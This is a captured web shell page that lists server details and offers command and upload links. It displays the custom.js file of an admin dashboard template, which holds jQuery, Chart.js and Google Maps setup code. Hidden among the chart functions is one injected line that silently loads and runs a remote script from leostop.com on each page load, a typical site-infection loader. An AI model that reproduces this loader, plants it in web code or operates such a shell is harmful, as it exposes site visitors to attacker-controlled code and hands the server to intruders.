|
Server IP : 45.113.226.95 / Your IP : 216.73.217.37 Web Server : LiteSpeed System : Linux bharat.hostitbro.com 5.14.0-611.13.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 11 04:57:59 EST 2025 x86_64 User : digita21 ( 1701) PHP Version : 8.3.30 Disable Function : mail MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /home2/digita21/worldwideengineers.in/admin/gallery/../img/../js/../gallery/../css/../js/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
/*------------------------------------------------------------------
File Name: custom.js
Template Name: Pluto - Responsive HTML5 Template
Created By: html.design
Envato Profile: https://themeforest.net/user/htmldotdesign
Website: https://html.design
Version: 1.0
-------------------------------------------------------------------*/
/*--------------------------------------
sidebar
--------------------------------------*/
"use strict";
$(document).ready(function () {
/*-- sidebar js --*/
$('#sidebarCollapse').on('click', function () {
$('#sidebar').toggleClass('active');
});
/*-- calendar js --*/
$('#example14').calendar({
inline: true
});
$('#example15').calendar();
/*-- tooltip js --*/
$('[data-toggle="tooltip"]').tooltip();
});
/*--------------------------------------
scrollbar js
--------------------------------------*/
var ps = new PerfectScrollbar('#sidebar');
/*--------------------------------------
chart js
--------------------------------------*/
$(function () {
new Chart(document.getElementById("line_chart").getContext("2d"), getChartJs('line'));
new Chart(document.getElementById("bar_chart").getContext("2d"), getChartJs('bar'));
new Chart(document.getElementById("radar_chart").getContext("2d"), getChartJs('radar'));
new Chart(document.getElementById("pie_chart").getContext("2d"), getChartJs('pie'));
new Chart(document.getElementById("area_chart").getContext("2d"), getChartJs('area'));
new Chart(document.getElementById("donut_chart").getContext("2d"), getChartJs('donut'));
});
function getChartJs(type) {
var config = null;
if (type === 'line') {
config = {
type: 'line',
data: {
labels: ["January", "February", "March", "April", "May", "June", "July"],
datasets: [{
label: "My First dataset",
data: [68, 55, 75, 86, 47, 52, 36],
borderColor: 'rgba(33, 150, 243, 1)',
backgroundColor: 'rgba(33, 150, 243, 0.2)',
pointBorderColor: 'rgba(33, 150, 243, 1)',
pointBackgroundColor: 'rgba(255, 255, 255, 1)',
pointBorderWidth: 1
}, {
label: "My Second dataset",
data: [28, 48, 40, 19, 86, 27, 90],
borderColor: 'rgba(30, 208, 133, 1)',
backgroundColor: 'rgba(30, 208, 133, 0.2)',
pointBorderColor: 'rgba(30, 208, 133, 1)',
pointBackgroundColor: 'rgba(255, 255, 255, 1)',
pointBorderWidth: 1
}]
},
options: {
responsive: true,
legend: false
}
}
}
else if (type === 'bar') {
config = {
type: 'bar',
data: {
labels: ["January", "February", "March", "April", "May", "June", "July"],
datasets: [{
label: "My First dataset",
data: [65, 59, 80, 81, 56, 55, 40],
backgroundColor: 'rgba(33, 150, 243, 1)'
}, {
label: "My Second dataset",
data: [28, 48, 40, 19, 86, 27, 90],
backgroundColor: 'rgba(30, 208, 133, 1)'
}]
},
options: {
responsive: true,
legend: false
}
}
}
else if (type === 'radar') {
config = {
type: 'radar',
data: {
labels: ["January", "February", "March", "April", "May", "June", "July"],
datasets: [{
label: "My First dataset",
data: [48, 25, 95, 75, 64, 58, 54],
borderColor: 'rgba(33, 150, 243, 1)',
backgroundColor: 'rgba(33, 150, 243, 0.2)',
pointBorderColor: 'rgba(33, 150, 243, 1)',
pointBackgroundColor: 'rgba(255, 255, 255, 1)',
pointBorderWidth: 1
}, {
label: "My Second dataset",
data: [82, 54, 25, 65, 47, 21, 95],
borderColor: 'rgba(30, 208, 133, 1)',
backgroundColor: 'rgba(30, 208, 133, 0.2)',
pointBorderColor: 'rgba(30, 208, 133, 1)',
pointBackgroundColor: 'rgba(255, 255, 255, 1)',
pointBorderWidth: 1
}]
},
options: {
responsive: true,
legend: false
}
}
}
else if (type === 'pie') {
config = {
type: 'pie',
data: {
datasets: [{
data: [80, 50, 30, 35, 45],
backgroundColor: [
"rgba(33, 150, 243, 1)",
"rgba(30, 208, 133, 1)",
"rgba(233, 30, 99, 1)",
"rgba(103, 58, 183, 1)",
"rgba(33, 65, 98, 1)"
],
}],
labels: [
"blue",
"green",
"pink",
"parple",
"Default"
]
},
options: {
responsive: true,
legend: false
}
}
}
return config;
}
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
/*--------------------------------------
map js
--------------------------------------*/
// This example adds a marker to indicate the position of Bondi Beach in Sydney,
// Australia.
function initMap() {
var map = new google.maps.Map(document.getElementById('map'), {
zoom: 12,
center: { lat: 40.645037, lng: -73.880224 },
styles: [
{
elementType: 'geometry',
stylers: [{ color: '#fefefe' }]
},
{
elementType: 'labels.icon',
stylers: [{ visibility: 'off' }]
},
{
elementType: 'labels.text.fill',
stylers: [{ color: '#616161' }]
},
{
elementType: 'labels.text.stroke',
stylers: [{ color: '#f5f5f5' }]
},
{
featureType: 'administrative.land_parcel',
elementType: 'labels.text.fill',
stylers: [{ color: '#bdbdbd' }]
},
{
featureType: 'poi',
elementType: 'geometry',
stylers: [{ color: '#eeeeee' }]
},
{
featureType: 'poi',
elementType: 'labels.text.fill',
stylers: [{ color: '#757575' }]
},
{
featureType: 'poi.park',
elementType: 'geometry',
stylers: [{ color: '#e5e5e5' }]
},
{
featureType: 'poi.park',
elementType: 'labels.text.fill',
stylers: [{ color: '#9e9e9e' }]
},
{
featureType: 'road',
elementType: 'geometry',
stylers: [{ color: '#eee' }]
},
{
featureType: 'road.arterial',
elementType: 'labels.text.fill',
stylers: [{ color: '#3d3523' }]
},
{
featureType: 'road.highway',
elementType: 'geometry',
stylers: [{ color: '#eee' }]
},
{
featureType: 'road.highway',
elementType: 'labels.text.fill',
stylers: [{ color: '#616161' }]
},
{
featureType: 'road.local',
elementType: 'labels.text.fill',
stylers: [{ color: '#9e9e9e' }]
},
{
featureType: 'transit.line',
elementType: 'geometry',
stylers: [{ color: '#e5e5e5' }]
},
{
featureType: 'transit.station',
elementType: 'geometry',
stylers: [{ color: '#000' }]
},
{
featureType: 'water',
elementType: 'geometry',
stylers: [{ color: '#c8d7d4' }]
},
{
featureType: 'water',
elementType: 'labels.text.fill',
stylers: [{ color: '#b1a481' }]
}
]
});
var image = 'images/layout_img/map_icon.png';
var beachMarker = new google.maps.Marker({
position: { lat: 40.645037, lng: -73.880224 },
map: map,
icon: image
});
}